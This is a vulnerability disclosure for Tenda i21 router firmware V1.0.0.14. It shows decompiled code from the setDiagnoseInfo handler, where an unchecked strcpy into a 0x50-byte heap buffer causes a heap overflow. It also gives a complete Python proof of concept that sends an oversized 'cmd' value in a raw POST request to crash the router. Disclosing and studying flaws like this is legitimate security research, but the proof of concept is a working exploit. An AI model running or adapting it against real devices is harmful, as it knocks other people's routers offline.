Tenda i21 V1.0.0.14(4656) Heap overflow vulnerability

Firmware information

- Manufacturer's address：https://www.tenda.com.cn/
- Firmware download address:https://www.tenda.com.cn/download/detail-2982.html

Affected version

Vulnerability details

```
void __cdecl formSetDiagnoseInfo(webs_t wp, char_t *path, char_t *query)
{
  cJSON_0 *String; // $v0
  char *pOut2web; // [sp+30h] [+30h]
  cJSON_0 *root; // [sp+34h] [+34h]
  CMD_PING_CFG_STRU *cfg; // [sp+38h] [+38h]
  char *strcmd; // [sp+3Ch] [+3Ch]
  char res_buf[4096]; // [sp+44h] [+44h] BYREF

  memset(res_buf, 0, sizeof(res_buf));
  strcmd = websGetVar(wp, "cmd", byte_498330);
  root = cJSON_CreateObject();
  cfg = (CMD_PING_CFG_STRU *)malloc(0x50u);
  if ( cfg )
  {
    memset(cfg, 0, sizeof(CMD_PING_CFG_STRU));
    strcpy(cfg->hostname, strcmd + 5);
    cfg->count = atoi("3");
    cfg->size = atoi("56");
    cfg->pro_version = atoi("4");
    cfg->timeout = atoi("10");
    if ( cmd_get_ping_output(cfg, res_buf, 4096) )
```

In /goform/setDiagnoseInfo, a value of 0x50 is created, which will use strcpy to give the value after cmd + 5 to the heap. It is worth noting that the size is not checked, resulting in a heap overflow vulnerability

Poc

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000
p2 = b'cmd=' + p1

p3 = b"POST /goform/setDiagnoseInfo" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash